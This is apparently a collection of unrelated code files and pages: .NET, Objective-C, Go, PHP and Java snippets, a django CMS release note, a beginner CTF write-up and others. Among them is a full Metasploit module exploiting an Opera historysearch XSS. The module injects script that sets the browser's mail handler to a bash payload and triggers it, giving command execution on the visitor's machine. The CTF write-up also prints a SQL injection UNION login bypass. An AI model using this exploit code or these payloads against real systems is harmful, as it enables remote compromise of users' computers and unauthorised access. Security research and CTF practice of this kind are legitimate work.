text:
/*
 * Now we will develop a content field. Just like with content part development, we'll start by creating a model class.
 * We want to store a color name and the actual color in HEX so we need two strings for that. To test this please
 * attach this field for a content part or a content type (you can create new ones if you want) on the Dashboard.
 *
 * Conventionally we put these objects in the Fields folder.
 *
 * To learn more about content fields see:
 * https://docs.orchardcore.net/en/latest/docs/reference/modules/ContentFields/
 */

using OrchardCore.ContentManagement;

namespace Lombiq.TrainingDemo.Fields;

// You also need to register this class with the service provider (see: Startup.cs).
public class ColorField : ContentField
{
    // This property will store the HEX value of the color.
    public string Value { get; set; }

    // This is a name of the color that the user will provide. This is only for demonstration purposes, it will be
    // indexed later.
    public string ColorName { get; set; }
}

// Don't forget to register your content field and the related view models in the Startup.cs static constructor so these
// will be accessible in the Liquid markup.

// NEXT STATION: Drivers/ColorFieldDisplayDriver


text:
if(operation!=noErr) { \
[self postAErrorWithErrorCode:MLAudioMeterObserverErrorCodeAboutQueue andDescription:error]; \
return; \
}   \

@implementation LevelMeterState
@end

@interface MLAudioMeterObserver()

@property (nonatomic, strong) NSTimer *timer;
@property (nonatomic, assign) NSUInteger channelCount;

@end

@implementation MLAudioMeterObserver

- (instancetype)init
{
    self = [super init];
    if (self) {
        //这里默认用_设置下吧。免得直接初始化了timer
        _refreshInterval = kDefaultRefreshInterval;
        self.channelCount = 1;
        //象征性的初始化一下
        _levelMeterStates = (AudioQueueLevelMeterState*)malloc(sizeof(AudioQueueLevelMeterState) * self.channelCount);
    }
    return self;
}

- (void)dealloc
{
    [self.timer invalidate];
    self.timer = nil;

    free(_levelMeterStates);

	NSLog(@"MLAudioMeterObserver dealloc");
}

#pragma mark - setter and getter
- (void)setRefreshInterval:(NSTimeInterval)refreshInterval
{
    _refreshInterval = refreshInterval;

    //重置timer
    [self.timer invalidate];
    self.timer = [NSTimer
                  scheduledTimerWithTimeInterval:refreshInterval
                  target:self
                  selector:@selector(refresh)
                  userInfo:nil
                  repeats:YES
                  ];
}

- (AudioQueueRef)audioQueue
{
	return _audioQueue;
}

- (void)setAudioQueue:(AudioQueueRef)audioQueue
{
    if (_audioQueue!=NULL&&audioQueue == _audioQueue){
        //一样的就无需再处理
        return;
    }

    //处理关闭定时器
    [self.timer invalidate];
    self.timer = nil;

    //根据新的音频队列重新初始化_levelMeterStates的内存块
    if (audioQueue==NULL){
        return;
    }

    _audioQueue = audioQueue;

    //检测这玩意是否支持光谱图
    UInt32 val = 1;
    IfAudioQueueErrorPostAndReturn(AudioQueueSetProperty(audioQueue, kAudioQueueProperty_EnableLevelMetering, &val, sizeof(UInt32)), @"couldn't enable metering");

    if (!val){
        NSLog(@"不支持光谱图"); //需要发送错误
        return;
    }

    // now check the number of channels in the new queue, we will need to reallocate if this has changed
    AudioStreamBasicDescription queueFormat;
    UInt32 data_sz = sizeof(queueFormat);
    IfAudioQueueErrorPostAndReturn(AudioQueueGetProperty(audioQueue, kAudioQueueProperty_StreamDescription, &queueFormat, &data_sz), @"couldn't get stream description");

    self.channelCount = queueFormat.mChannelsPerFrame;

    //重新初始化大小
    _levelMeterStates = (AudioQueueLevelMeterState*)realloc(_levelMeterStates, self.channelCount * sizeof(AudioQueueLevelMeterState));

    //重新设置timer
    self.timer = [NSTimer
                  scheduledTimerWithTimeInterval:self.refreshInterval
                  target:self
                  selector:@selector(refresh)
                  userInfo:nil
                  repeats:YES
                  ];
}

- (void)refresh
{
    UInt32 data_sz = sizeof(AudioQueueLevelMeterState) * (int)self.channelCount;

    IfAudioQueueErrorPostAndReturn(AudioQueueGetProperty(_audioQueue, kAudioQueueProperty_CurrentLevelMeterDB, _levelMeterStates, &data_sz),@"获取meter数据失败");

    //转化成LevelMeterState数组传递到block
    NSMutableArray *meters = [NSMutableArray arrayWithCapacity:self.channelCount];

    for (int i=0; i<self.channelCount; i++)
    {
        LevelMeterState *state = [[LevelMeterState alloc]init];
        state.mAveragePower = _levelMeterStates[i].mAveragePower;
        state.mPeakPower = _levelMeterStates[i].mPeakPower;
        [meters addObject:state];
    }
    if(self.actionBlock){
        self.actionBlock(meters,self);
    }
}

- (void)postAErrorWithErrorCode:(MLAudioMeterObserverErrorCode)code andDescription:(NSString*)description
{
    self.audioQueue = nil;

    NSLog(@"监控音频队列光谱发生错误");

    NSError *error = [NSError errorWithDomain:kMLAudioMeterObserverErrorDomain code:code userInfo:@{NSLocalizedDescriptionKey:description}];

    if( self.errorBlock){
        self.errorBlock(error,self);
    }
}

+ (Float32)volumeForLevelMeterStates:(NSArray*)levelMeterStates
{

    Float32 averagePowerOfChannels = 0;
    for (int i=0; i<levelMeterStates.count; i++)
    {
        averagePowerOfChannels+=((LevelMeterState*)levelMeterStates[i]).mAveragePower;
    }

    //获取音量百分比,姑且这么叫吧
    Float32 volume = pow(10, (0.05 * averagePowerOfChannels/levelMeterStates.count));

    return volume;
}

@end

redpajama_set_name: RedPajamaGithub


text:
.. _upgrade-to-3.1.4:

########################################
3.1.4 release notes - Unreleased - Draft
########################################

*******************
What's new in 3.1.4
*******************

Bug Fixes
=========

- Fixed a problem in ``0010_migrate_use_structure.py`` that broke some migration paths to Django 1.8
- Fixed ``fix_tree`` command
- Removed some warnings for Django 1.9
- Fixed issue causing plugins to move when using scroll bar of plugin menu in Firefox & IE
- Fixed JavaScript error when using ``PageSelectWidget``
- Fixed whitespace markup issues in draft mode
- Added plugin migrations layout detection in tests
- Fixed some treebeard corruption issues

Treebeard corruption
====================

Prior to 3.1.4 deleting pages could lead to some non-fatal tree corruptions, raising an error when
publishing, deleting, or moving pages.

To fix these problems, upgrade to 3.1.4 and then run ``manage.py cms fix-tree`` command to
repair the tree.


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace KallynGowdy.StateMachine
{
    /// <summary>
    /// Provides a graph that relates states to other states based on transitions.
    /// This provides the most deterministic automa for a CFG.
    /// </summary>
    public class StateGraph<TKey, T>
    {
        /// <summary>
        /// Gets or sets the root node of the graph.
        /// This is the first node in the graph.
        /// </summary>
        public StateNode<TKey, T> Root
        {
            get;
            set;
        }

        /// <summary>
        /// Creates a new empty graph.
        /// </summary>
        public StateGraph()
        {
            this.Root = null;
        }

        /// <summary>
        /// Creates a new StateGraph with the given rootNode as the Root.
        /// </summary>
        /// <param name="rootNode"></param>
        public StateGraph(StateNode<TKey, T> rootNode)
        {
            this.Root = rootNode;
        }

        /// <summary>
        /// Determines if the graph contains the given node.
        /// </summary>
        /// <param name="node"></param>
        /// <returns></returns>
        public bool Contains(StateNode<TKey, T> node)
        {
            return Root.ContainsFromTransition(node);
        }

        /// <summary>
        /// Determines if the graph contains a node that matches the given condition.
        /// </summary>
        /// <param name="condition">The condition that determines if a node is a match.</param>
        /// <returns></returns>
        public bool Contains(Predicate<StateNode<TKey, T>> condition)
        {
            return Root.ContainsFromTransition(condition);
        }

        /// <summary>
        /// Gets the first node from the graph that node matches the given condition.
        /// </summary>
        /// <param name="condition">The condition that determines if a node is a match.</param>
        /// <returns></returns>
        public StateNode<TKey, T> FindExistingNode(Predicate<StateNode<TKey, T>> condition)
        {
            return Root.GetFromTransition(condition);
        }

        /// <summary>
        /// Gets the depth first traversal of the graph.
        /// </summary>
        /// <returns></returns>
        public IEnumerable<StateNode<TKey, T>> GetDepthFirstTraversal()
        {
            return Root.GetDepthFirstTraversal();
        }

        /// <summary>
        /// Gets the breadth first traversal of the graph.
        /// </summary>
        /// <returns></returns>
        public IEnumerable<StateNode<TKey, T>> GetBreadthFirstTraversal()
        {
            return Root.GetBreadthFirstTraversal();
        }

    }
}


text:
module Hancock::Seo
  if Hancock.active_record?
    class Event < ActiveRecord::Base
    end
  end

  class Event
    include Hancock::Seo::Models::Event

    include Hancock::Seo::Decorators::Event

    rails_admin(&Hancock::Seo::Admin::Event.config(rails_admin_add_fields) { |config|
      rails_admin_add_config(config)
    })
  end
end


text:
"""
PASSIVE Plugin for Testing for Cross site flashing (OWASP-DV-004)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper

DESCRIPTION = "Google Hacking for Cross Site Flashing"

def run(PluginInfo):
    resource = get_resources("PassiveCrossSiteFlashingLnk")
    Content = plugin_helper.resource_linklist("Online Resources", resource)
    return Content


text:
package vsr.cobalt.models;

/**
 * A functionality offered through realization.
 *
 * @author Erik Wienhold
 */
public final class RealizedFunctionality extends Offer<Functionality> {

  /**
   * @param functionality a functionality realized by an action
   * @param action        an action realizing the functionality
   */
  public RealizedFunctionality(final Functionality functionality, final Action action) {
    super(functionality, action);
    if (!action.realizes(functionality)) {
      throw new IllegalArgumentException("expecting functionality to be realized by given action");
    }
  }

  @Override
  public boolean canEqual(final Object other) {
    return other instanceof RealizedFunctionality;
  }

}


text:
package actions_test

import (
	"testing"

	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/apimachinery/pkg/runtime"

	"github.com/jetstack/navigator/internal/test/unit/framework"
	"github.com/jetstack/navigator/internal/test/util/generate"
	"github.com/jetstack/navigator/pkg/controllers/cassandra/actions"
	"github.com/jetstack/navigator/pkg/util/ptr"
)

func TestScaleOut(t *testing.T) {
	type testT struct {
		kubeObjects         []runtime.Object
		navObjects          []runtime.Object
		cluster             generate.CassandraClusterConfig
		nodePool            generate.CassandraClusterNodePoolConfig
		expectedStatefulSet *generate.StatefulSetConfig
		expectedErr         bool
		mutator             func(*framework.StateFixture)
	}
	tests := map[string]testT{
		"Error if StatefulSet not listed": {
			cluster: generate.CassandraClusterConfig{
				Name:      "cluster1",
				Namespace: "ns1",
			},
			nodePool: generate.CassandraClusterNodePoolConfig{
				Name:     "pool1",
				Replicas: 123,
			},
			expectedErr: true,
		},
		"Error if clientset.Update fails (e.g. listed but not found)": {
			kubeObjects: []runtime.Object{
				generate.StatefulSet(
					generate.StatefulSetConfig{
						Name:          "cass-cluster1-pool1",
						Namespace:     "ns1",
						Replicas:      ptr.Int32(122),
						ReadyReplicas: 122,
					},
				),
			},
			cluster: generate.CassandraClusterConfig{
				Name:      "cluster1",
				Namespace: "ns1",
			},
			nodePool: generate.CassandraClusterNodePoolConfig{
				Name:     "pool1",
				Replicas: 123,
			},
			expectedErr: true,
			mutator: func(f *framework.StateFixture) {
				err := f.KubeClient().
					AppsV1beta1().
					StatefulSets("ns1").
					Delete("cass-cluster1-pool1", &metav1.DeleteOptions{})
				if err != nil {
					f.T.Fatal(err)
				}
			},
		},
		"No update if desired ReplicaCount is lower than actual ReplicaCount": {
			kubeObjects: []runtime.Object{
				generate.StatefulSet(
					generate.StatefulSetConfig{
						Name:          "cass-cluster1-pool1",
						Namespace:     "ns1",
						Replicas:      ptr.Int32(124),
						ReadyReplicas: 124,
					},
				),
			},
			cluster: generate.CassandraClusterConfig{
				Name:      "cluster1",
				Namespace: "ns1",
			},
			nodePool: generate.CassandraClusterNodePoolConfig{
				Name:     "pool1",
				Replicas: 123,
			},
			expectedStatefulSet: &generate.StatefulSetConfig{
				Name:      "cass-cluster1-pool1",
				Namespace: "ns1",
				Replicas:  ptr.Int32(124),
			},
			expectedErr: false,
		},
		"No update if some pods not ready": {
			kubeObjects: []runtime.Object{
				generate.StatefulSet(
					generate.StatefulSetConfig{
						Name:            "cass-cluster1-pool1",
						Namespace:       "ns1",
						Replicas:        ptr.Int32(124),
						ReadyReplicas:   123,
						CurrentReplicas: 124,
					},
				),
			},
			cluster: generate.CassandraClusterConfig{
				Name:      "cluster1",
				Namespace: "ns1",
			},
			nodePool: generate.CassandraClusterNodePoolConfig{
				Name:     "pool1",
				Replicas: 125,
			},
			expectedStatefulSet: &generate.StatefulSetConfig{
				Name:      "cass-cluster1-pool1",
				Namespace: "ns1",
				Replicas:  ptr.Int32(124),
			},
			expectedErr: false,
		},
		"Idempotent: No error if ReplicaCount already matches the actual ReplicaCount": {
			kubeObjects: []runtime.Object{
				generate.StatefulSet(
					generate.StatefulSetConfig{
						Name:          "cass-cluster1-pool1",
						Namespace:     "ns1",
						Replicas:      ptr.Int32(124),
						ReadyReplicas: 124,
					},
				),
			},
			cluster: generate.CassandraClusterConfig{
				Name:      "cluster1",
				Namespace: "ns1",
			},
			nodePool: generate.CassandraClusterNodePoolConfig{
				Name:     "pool1",
				Replicas: 124,
			},
			expectedStatefulSet: &generate.StatefulSetConfig{
				Name:      "cass-cluster1-pool1",
				Namespace: "ns1",
				Replicas:  ptr.Int32(124),
			},
			expectedErr: false,
		},
		"The replicas count is incremented": {
			kubeObjects: []runtime.Object{
				generate.StatefulSet(
					generate.StatefulSetConfig{
						Name:          "cass-cluster1-pool1",
						Namespace:     "ns1",
						Replicas:      ptr.Int32(122),
						ReadyReplicas: 122,
					},
				),
			},
			cluster: generate.CassandraClusterConfig{
				Name:      "cluster1",
				Namespace: "ns1",
			},
			nodePool: generate.CassandraClusterNodePoolConfig{
				Name:     "pool1",
				Replicas: 123,
			},
			expectedStatefulSet: &generate.StatefulSetConfig{
				Name:      "cass-cluster1-pool1",
				Namespace: "ns1",
				Replicas:  ptr.Int32(123),
			},
		},
		"The replicas count is only incremented by 1": {
			kubeObjects: []runtime.Object{
				generate.StatefulSet(
					generate.StatefulSetConfig{
						Name:          "cass-cluster1-pool1",
						Namespace:     "ns1",
						Replicas:      ptr.Int32(2),
						ReadyReplicas: 2,
					},
				),
			},
			cluster: generate.CassandraClusterConfig{
				Name:      "cluster1",
				Namespace: "ns1",
			},
			nodePool: generate.CassandraClusterNodePoolConfig{
				Name:     "pool1",
				Replicas: 4,
			},
			expectedStatefulSet: &generate.StatefulSetConfig{
				Name:      "cass-cluster1-pool1",
				Namespace: "ns1",
				Replicas:  ptr.Int32(3),
			},
		},
	}

	for name, test := range tests {
		t.Run(
			name,
			func(t *testing.T) {
				fixture := &framework.StateFixture{
					T:                t,
					KubeObjects:      test.kubeObjects,
					NavigatorObjects: test.navObjects,
				}
				fixture.Start()
				defer fixture.Stop()
				state := fixture.State()
				if test.mutator != nil {
					test.mutator(fixture)
				}
				a := &actions.ScaleOut{
					Cluster:  generate.CassandraCluster(test.cluster),
					NodePool: generate.CassandraClusterNodePool(test.nodePool),
				}
				err := a.Execute(state)
				if err != nil {
					t.Logf("The error returned by Execute was: %s", err)
				}
				if !test.expectedErr && err != nil {
					t.Errorf("Unexpected error: %s", err)
				}
				if test.expectedErr && err == nil {
					t.Errorf("Expected an error")
				}
				if test.expectedStatefulSet != nil {
					actualStatefulSet, err := fixture.KubeClient().
						AppsV1beta1().
						StatefulSets(test.expectedStatefulSet.Namespace).
						Get(test.expectedStatefulSet.Name, metav1.GetOptions{})
					if err != nil {
						t.Fatalf("Unexpected error retrieving statefulset: %v", err)
					}
					if *test.expectedStatefulSet.Replicas != *actualStatefulSet.Spec.Replicas {
						t.Errorf(
							"Unexpected replica count. Expected: %d. Actual: %d",
							*test.expectedStatefulSet.Replicas, *actualStatefulSet.Spec.Replicas,
						)
					}
				}
			},
		)
	}
}


text:
    Editar Servicio

    <form class="form form-horizontal" method="POST" action="<?=site_url('Servicio/editarServicio')?>">

            Codigo*

                <input type="number" value="<?=$servicio->get('ser_id')?>" id="ffi_editcodigo" name="id"  required="required" class="form-control col-md-7 col-xs-12" readonly>

            Nombre*

                <input type="text"  value="<?=$servicio->get('ser_nombre')?>" name="nombre"  class="form-control col-md-7 col-xs-12">

            Linea*

            <select name="linea"  class="form-control col-md-7 col-xs-12">
                <?php foreach ($lineas as $value): ?>
                 <option value="<?php echo($value->get('lin_id')) ?>"><?php echo($value->get('lin_nivel')) ?> | <?php echo($value->get('lin_nombre')) ?></option>
                <?php endforeach ?>
            </select>

            Estado*

                <select name="estado"  class="form-control col-md-7 col-xs-12">
                    <option <?=($servicio->get('ser_estado') == 1)? "selected='selected'": "" ?> value="1">Activo</option>
                    <option <?=($servicio->get('ser_estado') == 0)? "selected='selected'": "" ?> value="0">Inactivo</option>
                </select>

            Descripción*

                <textarea type="text" name="desc"  class="form-control col-md-7 col-xs-12"><?=$servicio->get('ser_desc')?></textarea>

            <?php $user = $this->session->userdata('logged_in');?>
            <?php if(in_array(1, $user['permisos'])): ?>
                <button id="btnAdd" type="submit" class="btn btn-success">Guardar</button>
            <?php  endif; ?>

    </form>


text:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::OPERA,
		:javascript => true,
		:rank       => ExcellentRanking, # reliable command execution
		:vuln_test  => %Q{
			v = parseFloat(opera.version());
			if (9.5 < v && 9.62 > v) {
				is_vuln = true;
			}
		},
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Opera historysearch XSS',
			'Description'    => %q{
					Certain constructs are not escaped correctly by Opera's History
				Search results.  These can be used to inject scripts into the
				page, which can then be used to modify configuration settings
				and execute arbitrary commands.  Affects Opera versions between
				9.50 and 9.61.
			},
			'License'        => BSD_LICENSE,
			'Author'         =>
				[
					'Roberto Suggi', # Discovered the vulnerability
					'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec
					'egypt',  # msf module
				],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					['CVE',    '2008-4696'],
					['OSVDB',  '49472'],
					['BID',    '31869'],
					['URL',    'http://www.opera.com/support/kb/view/903/'],
				],
			'Payload'        =>
				{
					'ExitFunc' => 'process',
					'Space'    => 4000,
					'DisableNops' => true,
					'BadChars' => "\x09\x0a\x0d\x20",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby telnet',
						}
				},
			'Targets'        =>
				[
					#[ 'Automatic', {  } ],
					#[ 'Opera < 9.61 Windows',
					#	{
					#		'Platform' => 'win',
					#		'Arch' => ARCH_X86,
					#	}
					#],
					[ 'Opera < 9.61 Unix Cmd',
						{
							'Platform' => 'unix',
							'Arch' => ARCH_CMD,
						}
					],
				],
			'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec
			'DefaultTarget'  => 0
			))
	end

	def on_request_uri(cli, request)

		headers = {}
		html_hdr = %Q^

			<title>Loading</title>
			^
		html_ftr = %Q^

Loading

			^

		case request.uri
		when /[?]jspayload/
			p = regenerate_payload(cli)
			if (p.nil?)
				send_not_found(cli)
				return
			end
			# We're going to run this through unescape(), so make sure
			# everything is encoded
			penc = Rex::Text.to_hex(p.encoded, "%")
			content =
				%Q{
					var s = document.createElement("iframe");

					s.src="opera:config";
					s.id="config_window";
					document.body.appendChild(s);
					config_window.eval(
						"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
						"old_app = opera.getPreference('Mail','External Application');" +
						"old_handler = opera.getPreference('Mail','Handler');" +
						"opera.setPreference('Mail','External Application',cmd);" +
						"opera.setPreference('Mail','Handler','2');" +
						"app_link = document.createElement('a');" +
						"app_link.setAttribute('href', 'mailto:a@b.com');" +
						"app_link.click();" +
						"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
						"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
					"");
					setTimeout(function () {window.location='about:blank'},1);
				}

		when /[?]history/
			js = %Q^
				window.onload = function() {
					location.href = "opera:historysearch?q=*";
				}
				^
			content = %Q^
				#{html_hdr}

				#{html_ftr}
				^
		when get_resource()
			print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")

			js = %Q^
				if (window.opera) {
					var wnd = window;
					while (wnd.parent != wnd) {
						wnd = wnd.parent;
					}
					url = location.href;
					wnd.location = url + "?history#
				#{html_ftr}
				^
		else
			print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}")
			send_not_found(cli)
			return
		end
		content.gsub!(/^\t{4}/, '')
		content.gsub!(/\t/, ' ')

		send_response_html(cli, content, headers)
		handler(cli)
	end

end


text:
#ifndef LOGIC_H
#define LOGIC_H

#define LOGIC_THRESHOLD 15

void logic_init();

struct logic {
    struct thread_mutex data;
    thread_cond_t data_arrived;
    int samples;
    int max;
} logic;

#endif /* LOGIC_H */


text:
package com.meiste.greg.ptwgame.entities;

import com.googlecode.objectify.annotation.Cache;
import com.googlecode.objectify.annotation.Entity;
import com.googlecode.objectify.annotation.Id;

import java.util.Collections;
import java.util.List;
import java.util.logging.Logger;

import static com.meiste.greg.ptwgame.OfyService.ofy;

@Entity
@Cache
public class Multicast {

    private static final Logger log = Logger.getLogger(Multicast.class.getName());

    @Id
    public Long id;

    public List<String> regIds;

    /**
     * Creates a persistent record with the devices to be notified using a
     * multicast message.
     *
     * @param devices registration ids of the devices.
     * @return ID of the persistent record.
     */
    public static String create(final List<String> devices) {
        log.info("Storing multicast for " + devices.size() + " devices");

        final Multicast multicast = new Multicast(devices);
        ofy().save().entity(multicast).now();

        return Long.toString(multicast.id);
    }

    /**
     * Gets a persistent record with the devices to be notified using a
     * multicast message.
     *
     * @param id ID of the persistent record.
     */
    public static List<String> getRegIds(final String id) {
        final Multicast multicast = ofy().load().type(Multicast.class).id(Long.parseLong(id)).now();
        if (multicast != null) {
            return multicast.regIds;
        }

        log.severe("No multicast for id " + id);
        return Collections.emptyList();
    }

    /**
     * Updates a persistent record with the devices to be notified using a
     * multicast message.
     *
     * @param id ID of the persistent record.
     * @param devices new list of registration ids of the devices.
     */
    public static void update(final String id, final List<String> devices) {
        final Multicast multicast = ofy().load().type(Multicast.class).id(Long.parseLong(id)).now();
        if (multicast != null) {
            multicast.regIds = devices;
            ofy().save().entity(multicast).now();
        } else {
            log.severe("No multicast for id " + id);
        }
    }

    /**
     * Deletes a persistent record with the devices to be notified using a
     * multicast message.
     *
     * @param id ID of the persistent record.
     */
    public static void delete(final String id) {
        ofy().delete().type(Multicast.class).id(Long.parseLong(id));
    }

    @SuppressWarnings("unused")
    private Multicast() {
        // Needed by Objectify
    }

    private Multicast(final List<String> devices) {
        regIds = devices;
    }
}


text:
VERSION="${BR2_RECOVERY_SYSTEM_VERSION}"
echo "VERSION=${VERSION}" >"${TARGET_DIR}/VERSION"
echo "PRODUCT=${PRODUCT}" >>"${TARGET_DIR}/VERSION"
echo "PLATFORM=tinkerboard" >>"${TARGET_DIR}/VERSION"

# Define parameters with default values
DHCP_VENDOR_ID=eQ3-CCU3

# Load product specific parameters
if [ -r "${TARGET_DIR}/etc/product" ]; then
  . "${TARGET_DIR}/etc/product"

  # Replace vendor ID in interfaces
  sed -i "s/eQ3-CCU3/${DHCP_VENDOR_ID}/g" "${TARGET_DIR}/etc/network/interfaces"
fi


text:
function Domains($sceDelegateProvider, API_URL){

    /*
     * List of authorized domains to allow Angular
     * to communicate through ajax
     */
    var whitelist = [
        'self',
        API_URL
    ];

    /*
     * List of blocked urls to avoid unwanted
     * ajax calls
     */
    var blacklist = [];

    /*
     * Set arrays in SCE provider
     * https://docs.angularjs.org/api/ng/provider/$sceDelegateProvider
     */
    $sceDelegateProvider.resourceUrlWhitelist(whitelist);
    $sceDelegateProvider.resourceUrlBlacklist(blacklist);
}

angular
    .module('app')
    .config(Domains);


text:
<!DOCTYPE html>

	<meta charset="utf-8">
	<title>Writeup for n00b15CTF</title>

	<meta name="author" content="RGC">

	<meta name="viewport" content="width=device-width, initial-scale=1.0">

	<link href="/assets/resources/bootstrap/css/bootstrap.min.css" rel="stylesheet">
	<link href="/assets/resources/font-awesome/css/font-awesome.min.css" rel="stylesheet">
	<link href="/assets/resources/syntax/syntax.css" rel="stylesheet">
	<link href="/assets/css/style.css" rel="stylesheet">

	<link rel="alternate" type="application/rss+xml" title="" href="/feed.xml">

			<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
				Toggle navigation

			</button>

Home

Categories

Tags

		<button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">

		</button>

Home

Categories

Tags

Top of Page

		<! -- sidebar.html -->

	The Official Website of the RGC CTF Team

<! -- sidebar.html end -->

Writeup for n00b15CTF

	   March
	   30th,

	   2015

Source

Jay's Blog: Writeup for n00b15CTF

This is a collection of hints for all the problems in the recently conducted Capture The Flag (CTF) contest conducted by SDSLabs as a way to get n00bs (beginners) to have a taste of the beautiful world of hacking. It was a pretty fun contest even though it was quite easy.

Test

Use a SHA256 tool. My favourite is to just search for "SHA256 STRING_TO_BE_SHA256" on my default search engine (www.duckduckgo.com)

Location-51

There is a redirect occuring here from http://hack.bckdr.in/LOCATION-51/index.html to http://hack.bckdr.in/LOCATION-51/trap.html Stop this redirect, and read the source of index.html The javascript there gives away the flag

Hidden flag - Easy

Using the file linux command, we find out that it is an ELF binary, but running it gives nothing. However, running strings on it gives away the flag.

Search

The zip file contains a .txt file which does not seem normal text, so we run a file on it. This says that it is jpeg, so change it to .jpg and open it. It is a QR code. Decode this using some online tool (just search for "QR code decode online" for a large number of free tools) and get a link. The link has the flag.

Lost

The message says Console, so open up console in Firefox. The message then tells you to POST data to a link. Going to this link directly does nothing, but sending it any random POST data (using HackBar addon in Firefox for example) gives the flag.

Hidden flag - Medium

Analyzing the file with IDA Pro shows that there is a function called print_flags() which is not called inside main(). Running this function should print the flag. We can do this by attaching gdb to the binary, breaking the execution and running the print_flags() function.

Clutter

Extracting the file and analyzing with Wireshark shows that there is too much to work with. But exporting all the files and then running strings on it would probably work. However, filtering this is a pain, so I just ran a grep for flag and the answer will be visible near a pastebin title.

No - Signal

Use GIMP or Photoshop to add the images. The flag should be obvious then.

Sound

Slow down and reverse the sound wave using Audacity. Listen to it and it should be obvious what the flag is.

Sequel

Looking at the code, it seems like a SQL injection can be done here. Downloading the database.sdb file and rewriting the source code to start throwing data from database, you realize that there is no user sdslabs in the database. This makes it obvious that you need to add the user. The following username virtually that: ' UNION SELECT 'sdslabs','sdslabs','sdslabs','sdslabs','0c4ea8f5b344600f78516334254e9e085f2225a42a0bb18fa8bd774589f1ca19' UNION SELECT * FROM users WHERE '0'='1. Note that this query will not work directly, the password will have to be set accordingly.

Undisputed

The file is a ext4 filesystem (use file command if you don't trust the extension). Mount this in linux using the mount command (read man mount to know how) and then open the file inside to see the flag.

Did you find any other cool/new ways of solving any of these tasks? If so, leave a comment below.

					ctf (2)
					,

					practice (2)
					,

					tips (2)

					CTF (2)
					,

					tips (2)
					,

					writeup (1)

Share Post

          Twitter

          Facebook

          Google+

RGC

The Official Website of the RGC CTF Team

← Previous

Next →

				© 2015 RGC


text:
FactoryGirl.define do
   factory :plant do
      factory :engine_plant_one do
         name 'engine test plant name'
         plant_type 'engine test plant type'
         plant_group 'engine test plant group'
         comment 'engine test plant comment'
      end
   end
end


text:
<!DOCTYPE HTML>

<title>com.timeanddate.services.dataTypes.businessdays (TimeAndDate.Services 0.0.1-SNAPSHOT API)</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="dc.created" content="2021-08-19">
<meta name="description" content="declaration: package: com.timeanddate.services.dataTypes.businessdays">
<meta name="generator" content="javadoc/PackageWriterImpl">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
<link rel="stylesheet" type="text/css" href="../../../../../script-dir/jquery-ui.min.css" title="Style">
<link rel="stylesheet" type="text/css" href="../../../../../jquery-ui.overrides.css" title="Style">

JavaScript is disabled on your browser.

Skip navigation links

Overview

Package

Class

Use

Tree

Index

Help

SEARCH:
<input type="text" id="search" value="search" disabled="disabled">
<input type="reset" id="reset" value="reset" disabled="disabled">

Package com.timeanddate.services.dataTypes.businessdays

package com.timeanddate.services.dataTypes.businessdays

Class Summary

Class

Description

BusinessHoliday

Period

WeekdaysType

Enum Summary

Enum

Description

BusinessDaysFilterType

IncludeExclude

Copyright © 2021. All rights reserved.


text:
<?php

	function sti_mysql_parse_connection_string($connection_string)
	{
		$info = Array(
			"host" => "loxalhost",
			"port" => "3306",
			"database" => "gsm",
			"user_id" => "root",
			"password" => "",
			"charset" => "utf8"
		);

		$parameters = explode(";", $connection_string);
		foreach($parameters as $parameter)
		{
			if (strpos($parameter, "=") < 1) continue;

			$parts = explode("=", $parameter);
			$name = strtolower(trim($parts[0]));
			if (count($parts) > 1) $value = $parts[1];

			if (isset($value))
			{
				switch ($name)
				{
					case "server":
					case "host":
					case "location":
						$info["host"] = $value;
						break;

					case "port":
						$info["port"] = $value;
						break;

					case "database":
					case "data source":
						$info["database"] = $value;
						break;

					case "uid":
					case "user":
					case "username":
					case "userid":
					case "user id":
						$info["user_id"] = $value;
						break;

					case "pwd":
					case "password":
						$info["password"] = $value;
						break;

					case "charset":
						$info["charset"] = $value;
						break;
				}
			}
		}

		return $info;
	}

	function sti_mysql_get_column_type($fields, $column)
	{
		$column_type = $column->type;
		if (strlen($column->table) > 0)
		{
			foreach ($fields as $field)
			{
				if ($field->table == $column->table && $field->name == $column->name)
				{
					$column_type = $field->type;
					break;
				}
			}
		}

		if (strpos($column_type, "(") > 0) $column_type = substr($column_type, 0, strpos($column_type, "("));
		$column_type = strtolower($column_type);

		switch ($column_type)
		{
			case "int":
			case "tinyint":
			case "smallint":
			case "mediumint":
			case "bigint":
				return "int";

			case "decimal":
			case "float":
			case "double":
			case "real":
				return "decimal";

			case "bit":
				return "boolean";

			case "date":
			case "time":
			case "datetime":
			case "timestamp":
			case "year":
				return "dateTime";

			case "blob":
			case "tinyblob":
			case "mediumblob":
			case "longblob":
			case "binary":
			case "varbinary":
				return "base64Binary";
		}

		return "string";
	}

	function sti_mysql_test_connection($connection_string)
	{
		$info = sti_mysql_parse_connection_string($connection_string);
		$link = mysqli_connect($info["host"], $info["user_id"], $info["password"], $info["database"], $info["port"]) or die("ServerError:Could not connect to host '".$info["host"]."'");
		mysqli_close($link);

		return "Successfull";
	}

